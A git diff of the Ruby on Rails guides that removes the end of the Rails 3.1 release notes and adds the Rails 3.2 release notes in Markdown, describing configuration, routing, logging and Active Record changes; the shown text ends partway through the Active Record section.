-h5. config/environments/development.rb
-
-* Remove the RJS setting <tt>config.action_view.debug_rjs = true</tt>.
-
-* Add the following, if you enable the asset pipeline.
-
-<ruby>
-# Do not compress assets
-config.assets.compress = false
-
-# Expands the lines which load the assets
-config.assets.debug = true
-</ruby>
-
-h5. config/environments/production.rb
-
-* Again, most of the changes below are for the asset pipeline. You can read more about these in the "Asset Pipeline":asset_pipeline.html guide.
-
-<ruby>
-# Compress JavaScripts and CSS
-config.assets.compress = true
-
-# Don't fallback to assets pipeline if a precompiled asset is missed
-config.assets.compile = false
-
-# Generate digests for assets URLs
-config.assets.digest = true
-
-# Defaults to Rails.root.join("public/assets")
-# config.assets.manifest = YOUR_PATH
-
-# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
-# config.assets.precompile += %w( search.js )
-
-
-# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
-# config.force_ssl = true
-
-</ruby>
-
-h5. config/environments/test.rb
-
-<ruby>
-# Configure static asset server for tests with Cache-Control for performance
-config.serve_static_assets = true
-config.static_cache_control = "public, max-age=3600"
-</ruby>
-
-h5. config/initializers/wrap_parameters.rb
-
-* Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.
-
-<ruby>
-# Be sure to restart your server when you modify this file.
-# This file contains settings for ActionController::ParamsWrapper which
-# is enabled by default.
-
-# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
-ActiveSupport.on_load(:action_controller) do
- wrap_parameters :format => [:json]
-end
-
-# Disable root element in JSON by default.
-ActiveSupport.on_load(:active_record) do
- self.include_root_in_json = false
-end
-</ruby>
-
-h3. Creating a Rails 3.1 application
-
-<shell>
-# You should have the 'rails' rubygem installed
-$ rails new myapp
-$ cd myapp
-</shell>
-
-h4. Vendoring Gems
-
-Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
-
-More information: - "bundler homepage":http://gembundler.com
-
-h4. Living on the Edge
-
-+Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag:
-
-<shell>
-$ rails new myapp --edge
-</shell>
-
-If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag:
-
-<shell>
-$ ruby /path/to/rails/railties/bin/rails new myapp --dev
-</shell>
-
-h3. Rails Architectural Changes
-
-h4. Assets Pipeline
-
-The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines.
-
-The assets pipeline is powered by "Sprockets":https://github.com/sstephenson/sprockets and is covered in the "Asset Pipeline":asset_pipeline.html guide.
-
-h4. HTTP Streaming
-
-HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it.
-
-h4. Default JS library is now jQuery
-
-jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch.
-
-<shell>
-$ rails new myapp -j prototype
-</shell>
-
-h4. Identity Map
-
-Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion.
-
-Rails 3.1 comes with the identity map turned off by default.
-
-h3. Railties
-
-* jQuery is the new default JavaScript library.
-
-* jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems.
-
-* The application generator accepts an option +-j+ which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the +Gemfile+, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline.
-
-* Generating an application or a plugin runs +bundle install+ unless +--skip-gemfile+ or +--skip-bundle+ is specified.
-
-* The controller and resource generators will now automatically produce asset stubs (this can be turned off with +--skip-assets+). These stubs will use CoffeeScript and Sass, if those libraries are available.
-
-* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, +--old-style-hash+ can be passed.
-
-* Scaffold controller generator creates format block for JSON instead of XML.
-
-* Active Record logging is directed to STDOUT and shown inline in the console.
-
-* Added +config.force_ssl+ configuration which loads <tt>Rack::SSL</tt> middleware and force all requests to be under HTTPS protocol.
-
-* Added +rails plugin new+ command which generates a Rails plugin with gemspec, tests and a dummy application for testing.
-
-* Added <tt>Rack::Etag</tt> and <tt>Rack::ConditionalGet</tt> to the default middleware stack.
-
-* Added <tt>Rack::Cache</tt> to the default middleware stack.
-
-* Engines received a major update - You can mount them at any path, enable assets, run generators etc.
-
-h3. Action Pack
-
-h4. Action Controller
-
-* A warning is given out if the CSRF token authenticity cannot be verified.
-
-* Specify +force_ssl+ in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, +:only+ or +:except+ can be used.
-
-* Sensitive query string parameters specified in <tt>config.filter_parameters</tt> will now be filtered out from the request paths in the log.
-
-* URL parameters which return +nil+ for +to_param+ are now removed from the query string.
-
-* Added <tt>ActionController::ParamsWrapper</tt> to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in <tt>config/initializers/wrap_parameters.rb</tt>.
-
-* Added <tt>config.action_controller.include_all_helpers</tt>. By default <tt>helper :all</tt> is done in <tt>ActionController::Base</tt>, which includes all the helpers by default. Setting +include_all_helpers+ to +false+ will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller).
-
-* +url_for+ and named url helpers now accept +:subdomain+ and +:domain+ as options.
-
-* Added +Base.http_basic_authenticate_with+ to do simple http basic authentication with a single class method call.
-
-<ruby>
-class PostsController < ApplicationController
- USER_NAME, PASSWORD = "dhh", "secret"
-
- before_filter :authenticate, :except => [ :index ]
-
- def index
- render :text => "Everyone can see me!"
- end
-
- def edit
- render :text => "I'm only accessible if you know the password"
- end
-
- private
- def authenticate
- authenticate_or_request_with_http_basic do |user_name, password|
- user_name == USER_NAME && password == PASSWORD
- end
- end
-end
-</ruby>
-
-..can now be written as
-
-<ruby>
-class PostsController < ApplicationController
- http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
-
- def index
- render :text => "Everyone can see me!"
- end
-
- def edit
- render :text => "I'm only accessible if you know the password"
- end
-end
-</ruby>
-
-* Added streaming support, you can enable it with:
-
-<ruby>
-class PostsController < ActionController::Base
- stream
-end
-</ruby>
-
-You can restrict it to some actions by using +:only+ or +:except+. Please read the docs at "<tt>ActionController::Streaming</tt>":http://api.rubyonrails.org/classes/ActionController/Streaming.html for more information.
-
-* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.
-
-h4. Action Dispatch
-
-* <tt>config.action_dispatch.x_sendfile_header</tt> now defaults to +nil+ and <tt>config/environments/production.rb</tt> doesn't set any particular value for it. This allows servers to set it through <tt>X-Sendfile-Type</tt>.
-
-* <tt>ActionDispatch::MiddlewareStack</tt> now uses composition over inheritance and is no longer an array.
-
-* Added <tt>ActionDispatch::Request.ignore_accept_header</tt> to ignore accept headers.
-
-* Added <tt>Rack::Cache</tt> to the default stack.
-
-* Moved etag responsibility from <tt>ActionDispatch::Response</tt> to the middleware stack.
-
-* Rely on <tt>Rack::Session</tt> stores API for more compatibility across the Ruby world. This is backwards incompatible since <tt>Rack::Session</tt> expects <tt>#get_session</tt> to accept four arguments and requires <tt>#destroy_session</tt> instead of simply <tt>#destroy</tt>.
-
-* Template lookup now searches further up in the inheritance chain.
-
-h4. Action View
-
-* Added an +:authenticity_token+ option to +form_tag+ for custom handling or to omit the token by passing <tt>:authenticity_token => false</tt>.
-
-* Created <tt>ActionView::Renderer</tt> and specified an API for <tt>ActionView::Context</tt>.
-
-* In place +SafeBuffer+ mutation is prohibited in Rails 3.1.
-
-* Added HTML5 +button_tag+ helper.
-
-* +file_field+ automatically adds <tt>:multipart => true</tt> to the enclosing form.
-
-* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a +:data+ hash of options:
-
-<plain>
-tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
-# => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
-</plain>
-
-Keys are dasherized. Values are JSON-encoded, except for strings and symbols.
-
-* +csrf_meta_tag+ is renamed to +csrf_meta_tags+ and aliases +csrf_meta_tag+ for backwards compatibility.
-
-* The old template handler API is deprecated and the new API simply requires a template handler to respond to call.
-
-* rhtml and rxml are finally removed as template handlers.
-
-* <tt>config.action_view.cache_template_loading</tt> is brought back which allows to decide whether templates should be cached or not.
-
-* The submit form helper does not generate an id "object_name_id" anymore.
-
-* Allows <tt>FormHelper#form_for</tt> to specify the +:method+ as a direct option instead of through the +:html+ hash. <tt>form_for(==@==post, remote: true, method: :delete)</tt> instead of <tt>form_for(==@==post, remote: true, html: { method: :delete })</tt>.
-
-* Provided <tt>JavaScriptHelper#j()</tt> as an alias for <tt>JavaScriptHelper#escape_javascript()</tt>. This supersedes the <tt>Object#j()</tt> method that the JSON gem adds within templates using the JavaScriptHelper.
-
-* Allows AM/PM format in datetime selectors.
-
-* +auto_link+ has been removed from Rails and extracted into the "rails_autolink gem":https://github.com/tenderlove/rails_autolink
-
-h3. Active Record
-
-* Added a class method <tt>pluralize_table_names</tt> to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through <tt>ActiveRecord::Base.pluralize_table_names</tt>.
-<ruby>
-class User < ActiveRecord::Base
- self.pluralize_table_names = false
-end
-</ruby>
-
-* Added block setting of attributes to singular associations. The block will get called after the instance is initialized.
-
-<ruby>
-class User < ActiveRecord::Base
- has_one :account
-end
-
-user.build_account{ |a| a.credit_limit = 100.0 }
-</ruby>
-
-* Added <tt>ActiveRecord::Base.attribute_names</tt> to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist.
-
-* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0.
-
-* <tt>ActiveRecord#new</tt>, <tt>ActiveRecord#create</tt> and <tt>ActiveRecord#update_attributes</tt> all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities:
-
-<ruby>
-class Post < ActiveRecord::Base
- attr_accessible :title
- attr_accessible :title, :published_at, :as => :admin
-end
-
-Post.new(params[:post], :as => :admin)
-</ruby>
-
-* +default_scope+ can now take a block, lambda, or any other object which responds to call for lazy evaluation.
-
-* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped.
-
-* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.
-
-* +ConnectionManagement+ middleware is changed to clean up the connection pool after the rack body has been flushed.
-
-* Added an +update_column+ method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use +update_attributes+ or +update_attribute+ unless you are sure you do not want to execute any callback, including the modification of the +updated_at+ column. It should not be called on new records.
-
-* Associations with a +:through+ option can now use any association as the through or source association, including other associations which have a +:through+ option and +has_and_belongs_to_many+ associations.
-
-* The configuration for the current database connection is now accessible via <tt>ActiveRecord::Base.connection_config</tt>.
-
-* limits and offsets are removed from COUNT queries unless both are supplied.
-<ruby>
-People.limit(1).count # => 'SELECT COUNT(*) FROM people'
-People.offset(1).count # => 'SELECT COUNT(*) FROM people'
-People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'
-</ruby>
-
-* <tt>ActiveRecord::Associations::AssociationProxy</tt> has been split. There is now an +Association+ class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called +CollectionProxy+, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings.
-
-* Singular associations (+has_one+, +belongs_to+) no longer have a proxy and simply returns the associated record or +nil+. This means that you should not use undocumented methods such as +bob.mother.create+ - use +bob.create_mother+ instead.
-
-* Support the <tt>:dependent</tt> option on <tt>has_many :through</tt> associations. For historical and practical reasons, +:delete_all+ is the default deletion strategy employed by <tt>association.delete(*records)</tt>, despite the fact that the default strategy is +:nullify+ for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association.
-
-* The behavior of +association.destroy+ for +has_and_belongs_to_many+ and <tt>has_many :through</tt> is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'.
-
-* Previously, <tt>has_and_belongs_to_many.destroy(*records)</tt> would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table.
-
-* Previously, <tt>has_many_through.destroy(*records)</tt> would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table.
-
-* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do <tt>records.association.each(&:destroy)</tt>.
-
-* Add <tt>:bulk => true</tt> option to +change_table+ to make all the schema changes defined in a block using a single ALTER statement.
-
-<ruby>
-change_table(:users, :bulk => true) do |t|
- t.string :company_name
- t.change :birthdate, :datetime
-end
-</ruby>
-
-* Removed support for accessing attributes on a +has_and_belongs_to_many+ join table. <tt>has_many :through</tt> needs to be used.
-
-* Added a +create_association!+ method for +has_one+ and +belongs_to+ associations.
-
-* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the +change+ method.
-<ruby>
-class MyMigration < ActiveRecord::Migration
- def change
- create_table(:horses) do |t|
- t.column :content, :text
- t.column :remind_at, :datetime
- end
- end
-end
-</ruby>
-
-* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define +up+ and +down+ in your migration. If you define something in change that cannot be reversed, an +IrreversibleMigration+ exception will be raised when going down.
-
-* Migrations now use instance methods rather than class methods:
-<ruby>
-class FooMigration < ActiveRecord::Migration
- def up # Not self.up
- ...
- end
-end
-</ruby>
-
-* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's +change+ method instead of the ordinary +up+ and +down+ methods.
-
-* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used.
-
-<ruby>
-has_many :things, :conditions => 'foo = #{bar}' # before
-has_many :things, :conditions => proc { "foo = #{bar}" } # after
-</ruby>
-
-Inside the proc, +self+ is the object which is the owner of the association, unless you are eager loading the association, in which case +self+ is the class which the association is within.
-
-You can have any "normal" conditions inside the proc, so the following will work too:
-
-<ruby>
-has_many :things, :conditions => proc { ["foo = ?", bar] }
-</ruby>
-
-* Previously +:insert_sql+ and +:delete_sql+ on +has_and_belongs_to_many+ association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc.
-
-* Added <tt>ActiveRecord::Base#has_secure_password</tt> (via <tt>ActiveModel::SecurePassword</tt>) to encapsulate dead-simple password usage with BCrypt encryption and salting.
-
-<ruby>
-# Schema: User(name:string, password_digest:string, password_salt:string)
-class User < ActiveRecord::Base
- has_secure_password
-end
-</ruby>
-
-* When a model is generated +add_index+ is added by default for +belongs_to+ or +references+ columns.
-
-* Setting the id of a +belongs_to+ object will update the reference to the object.
-
-* <tt>ActiveRecord::Base#dup</tt> and <tt>ActiveRecord::Base#clone</tt> semantics have changed to closer match normal Ruby dup and clone semantics.
-
-* Calling <tt>ActiveRecord::Base#clone</tt> will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called.
-
-* Calling <tt>ActiveRecord::Base#dup</tt> will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return +true+ for <tt>new_record?</tt>, have a +nil+ id field, and is saveable.
-
-* The query cache now works with prepared statements. No changes in the applications are required.
-
-h3. Active Model
-
-* +attr_accessible+ accepts an option +:as+ to specify a role.
-
-* +InclusionValidator+, +ExclusionValidator+, and +FormatValidator+ now accepts an option which can be a proc, a lambda, or anything that respond to +call+. This option will be called with the current record as an argument and returns an object which respond to +include?+ for +InclusionValidator+ and +ExclusionValidator+, and returns a regular expression object for +FormatValidator+.
-
-* Added <tt>ActiveModel::SecurePassword</tt> to encapsulate dead-simple password usage with BCrypt encryption and salting.
-
-* <tt>ActiveModel::AttributeMethods</tt> allows attributes to be defined on demand.
-
-* Added support for selectively enabling and disabling observers.
-
-* Alternate <tt>I18n</tt> namespace lookup is no longer supported.
-
-h3. Active Resource
-
-* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set <tt>self.format = :xml</tt> in the class. For example,
-
-<ruby>
-class User < ActiveResource::Base
- self.format = :xml
-end
-</ruby>
-
-h3. Active Support
-
-* <tt>ActiveSupport::Dependencies</tt> now raises +NameError+ if it finds an existing constant in +load_missing_constant+.
-
-* Added a new reporting method <tt>Kernel#quietly</tt> which silences both +STDOUT+ and +STDERR+.
-
-* Added <tt>String#inquiry</tt> as a convenience method for turning a String into a +StringInquirer+ object.
-
-* Added <tt>Object#in?</tt> to test if an object is included in another object.
-
-* +LocalCache+ strategy is now a real middleware class and no longer an anonymous class.
-
-* <tt>ActiveSupport::Dependencies::ClassCache</tt> class has been introduced for holding references to reloadable classes.
-
-* <tt>ActiveSupport::Dependencies::Reference</tt> has been refactored to take direct advantage of the new +ClassCache+.
-
-* Backports <tt>Range#cover?</tt> as an alias for <tt>Range#include?</tt> in Ruby 1.8.
-
-* Added +weeks_ago+ and +prev_week+ to Date/DateTime/Time.
-
-* Added +before_remove_const+ callback to <tt>ActiveSupport::Dependencies.remove_unloadable_constants!</tt>.
-
-Deprecations:
-
-* <tt>ActiveSupport::SecureRandom</tt> is deprecated in favor of +SecureRandom+ from the Ruby standard library.
-
-h3. Credits
-
-See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
-
-Rails 3.1 Release Notes were compiled by "Vijay Dev":https://github.com/vijaydev.
diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md
new file mode 100644
index 0000000000..68a47be14f
--- /dev/null
+++ b/guides/source/3_2_release_notes.md
@@ -0,0 +1,565 @@
+Ruby on Rails 3.2 Release Notes
+===============================
+
+Highlights in Rails 3.2:
+
+* Faster Development Mode
+* New Routing Engine
+* Automatic Query Explains
+* Tagged Logging
+
+These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/3-2-stable) in the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 3.2
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes:
+
+### Rails 3.2 requires at least Ruby 1.8.7
+
+Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.
+
+### What to update in your apps
+
+* Update your Gemfile to depend on
+ * `rails = 3.2.0`
+ * `sass-rails ~> 3.2.3`
+ * `coffee-rails ~> 3.2.1`
+ * `uglifier >= 1.0.3`
+
+* Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+
+* There are a couple of new configuration changes you'd want to add in `config/environments/development.rb`:
+
+ ```ruby
+ # Raise exception on mass assignment protection for Active Record models
+ config.active_record.mass_assignment_sanitizer = :strict
+
+ # Log the query plan for queries taking more than this (works
+ # with SQLite, MySQL, and PostgreSQL)
+ config.active_record.auto_explain_threshold_in_seconds = 0.5
+ ```
+
+ The `mass_assignment_sanitizer` config also needs to be added in `config/environments/test.rb`:
+
+ ```ruby
+ # Raise exception on mass assignment protection for Active Record models
+ config.active_record.mass_assignment_sanitizer = :strict
+ ```
+
+### What to update in your engines
+
+Replace the code beneath the comment in `script/rails` with the following content:
+
+```ruby
+ENGINE_ROOT = File.expand_path('../..', __FILE__)
+ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__)
+
+require 'rails/all'
+require 'rails/engine/commands'
+```
+
+Creating a Rails 3.2 application
+--------------------------------
+
+```bash
+# You should have the 'rails' rubygem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: [Bundler homepage](http://gembundler.com)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```bash
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```bash
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+```
+
+Major Features
+--------------
+
+### Faster Development Mode & Routing
+
+Rails 3.2 comes with a development mode that's noticeably faster. Inspired by [Active Reload](https://github.com/paneq/active_reload), Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new [Journey](https://github.com/rails/journey) engine.
+
+### Automatic Query Explains
+
+Rails 3.2 comes with a nice feature that explains queries generated by ARel by defining an `explain` method in `ActiveRecord::Relation`. For example, you can run something like `puts Person.active.limit(5).explain` and the query ARel produces is explained. This allows to check for the proper indexes and further optimizations.
+
+Queries that take more than half a second to run are *automatically* explained in the development mode. This threshold, of course, can be changed.
+
+### Tagged Logging
+
+When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.
+
+Documentation
+-------------
+
+From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc.
+
+Railties
+--------
+
+* Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting `config.reload_classes_only_on_change` to false.
+
+* New applications get a flag `config.active_record.auto_explain_threshold_in_seconds` in the environments configuration files. With a value of `0.5` in `development.rb` and commented out in `production.rb`. No mention in `test.rb`.
+
+* Added `config.exceptions_app` to set the exceptions application invoked by the `ShowException` middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`.
+
+* Added a `DebugExceptions` middleware which contains features extracted from `ShowExceptions` middleware.
+
+* Display mounted engines' routes in `rake routes`.
+
+* Allow to change the loading order of railties with `config.railties_order` like:
+
+ ```ruby
+ config.railties_order = [Blog::Engine, :main_app, :all]
+ ```
+
+* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box.
+
+* Update `Rails::Rack::Logger` middleware to apply any tags set in `config.log_tags` to `ActiveSupport::TaggedLogging`. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.
+
+* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time 'rails new' runs in the `.railsrc` configuration file in your home directory.
+
+* Add an alias `d` for `destroy`. This works for engines too.
+
+* Attributes on scaffold and model generators default to string. This allows the following: `rails g scaffold Post title body:text author`
+
+* Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example,
+
+ ```ruby
+ rails g scaffold Post title:string:index author:uniq price:decimal{7,2}
+ ```
+
+ will create indexes for `title` and `author` with the latter being an unique index. Some types such as decimal accept custom options. In the example, `price` will be a decimal column with precision and scale set to 7 and 2 respectively.
+
+* Turn gem has been removed from default Gemfile.
+
+* Remove old plugin generator `rails generate plugin` in favor of `rails plugin new` command.
+
+* Remove old `config.paths.app.controller` API in favor of `config.paths["app/controller"]`.
+
+#### Deprecations
+
+* `Rails::Plugin` is deprecated and will be removed in Rails 4.0. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies.
+
+Action Mailer
+-------------
+
+* Upgraded `mail` version to 2.4.0.
+
+* Removed the old Action Mailer API which was deprecated since Rails 3.0.
+
+Action Pack
+-----------
+
+### Action Controller
+
+* Make `ActiveSupport::Benchmarkable` a default module for `ActionController::Base,` so the `#benchmark` method is once again available in the controller context like it used to be.
+
+* Added `:gzip` option to `caches_page`. The default option can be configured globally using `page_cache_compression`.
+
+* Rails will now use your default layout (such as "layouts/application") when you specify a layout with `:only` and `:except` condition, and those conditions fail.
+
+ ```ruby
+ class CarsController
+ layout 'single_car', :only => :show
+ end
+ ```
+
+ Rails will use 'layouts/single_car' when a request comes in :show action, and use 'layouts/application' (or 'layouts/cars', if exists) when a request comes in for any other actions.
+
+* form\_for is changed to use "#{action}\_#{as}" as the css class and id if `:as` option is provided. Earlier versions used "#{as}\_#{action}".
+
+* `ActionController::ParamsWrapper` on ActiveRecord models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`.
+
+* Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts.
+
+* `ActionDispatch::ShowExceptions` is refactored. The controller is responsible for choosing to show exceptions. It's possible to override `show_detailed_exceptions?` in controllers to specify which requests should provide debugging information on errors.
+
+* Responders now return 204 No Content for API requests without a response body (as in the new scaffold).
+
+* `ActionController::TestCase` cookies is refactored. Assigning cookies for test cases should now use `cookies[]`
+
+ ```ruby
+ cookies[:email] = 'user@example.com'
+ get :index
+ assert_equal 'user@example.com', cookies[:email]
+ ```
+
+ To clear the cookies, use `clear`.
+
+ ```ruby
+ cookies.clear
+ get :index
+ assert_nil cookies[:email]
+ ```
+
+ We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created.
+
+* `send_file` now guesses the MIME type from the file extension if `:type` is not provided.
+
+* MIME type entries for PDF, ZIP and other formats were added.
+
+* Allow fresh_when/stale? to take a record instead of an options hash.
+
+* Changed log level of warning for missing CSRF token from `:debug` to `:warn`.
+
+* Assets should use the request protocol by default or default to relative if no request is available.
+
+#### Deprecations
+
+* Deprecated implied layout lookup in controllers whose parent had a explicit layout set:
+
+ ```ruby
+ class ApplicationController
+ layout "application"
+ end
+
+ class PostsController < ApplicationController
+ end
+ ```
+
+ In the example above, Posts controller will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`.
+
+* Deprecated `ActionController::UnknownAction` in favour of `AbstractController::ActionNotFound`.
+
+* Deprecated `ActionController::DoubleRenderError` in favour of `AbstractController::DoubleRenderError`.
+
+* Deprecated `method_missing` in favour of `action_missing` for missing actions.
+
+* Deprecated `ActionController#rescue_action`, `ActionController#initialize_template_class` and `ActionController#assign_shortcuts`.
+
+### Action Dispatch
+
+* Add `config.action_dispatch.default_charset` to configure default charset for `ActionDispatch::Response`.
+
+* Added `ActionDispatch::RequestId` middleware that'll make a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog.
+
+* The `ShowExceptions` middleware now accepts a exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code.
+
+* Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`.
+
+#### Deprecations
+
+* Deprecated the ability to set a default charset at the controller level, use the new `config.action_dispatch.default_charset` instead.
+
+### Action View
+
+* Add `button_tag` support to `ActionView::Helpers::FormBuilder`. This support mimics the default behavior of `submit_tag`.
+
+ ```erb
+ <%= form_for @post do |f| %>
+ <%= f.button %>
+ <% end %>
+ ```
+
+* Date helpers accept a new option `:use_two_digit_numbers => true`, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'.
+
+* You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
+
+ ```erb
+ <%= form_for(@offer, :namespace => 'namespace') do |f| %>
+ <%= f.label :version, 'Version' %>:
+ <%= f.text_field :version %>
+ <% end %>
+ ```
+
+* Limit the number of options for `select_year` to 1000. Pass `:max_years_allowed` option to set your own limit.
+
+* `content_tag_for` and `div_for` can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this:
+
+ ```ruby
+ @items.each do |item|
+ content_tag_for(:li, item) do
+ Title: <%= item.title %>
+ end
+ end
+ ```
+
+ You can do this:
+
+ ```ruby
+ content_tag_for(:li, @items) do |item|
+ Title: <%= item.title %>
+ end
+ ```
+
+* Added `font_path` helper method that computes the path to a font asset in `public/fonts`.
+
+#### Deprecations
+
+* Passing formats or handlers to render :template and friends like `render :template => "foo.html.erb"` is deprecated. Instead, you can provide :handlers and :formats directly as options: ` render :template => "foo", :formats => [:html, :js], :handlers => :erb`.
+
+### Sprockets
+
+* Adds a configuration option `config.assets.logger` to control Sprockets logging. Set it to `false` to turn off logging and to `nil` to default to `Rails.logger`.
+
+Active Record
+-------------
+
+* Boolean columns with 'on' and 'ON' values are type cast to true.
+
+* When the `timestamps` method creates the `created_at` and `updated_at` columns, it makes them non-nullable by default.
+
+* Implemented `ActiveRecord::Relation#explain`.
+
